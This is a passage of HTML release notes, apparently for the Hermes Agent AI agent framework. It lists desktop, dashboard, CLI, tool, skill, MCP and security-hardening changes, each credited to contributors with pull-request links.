href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
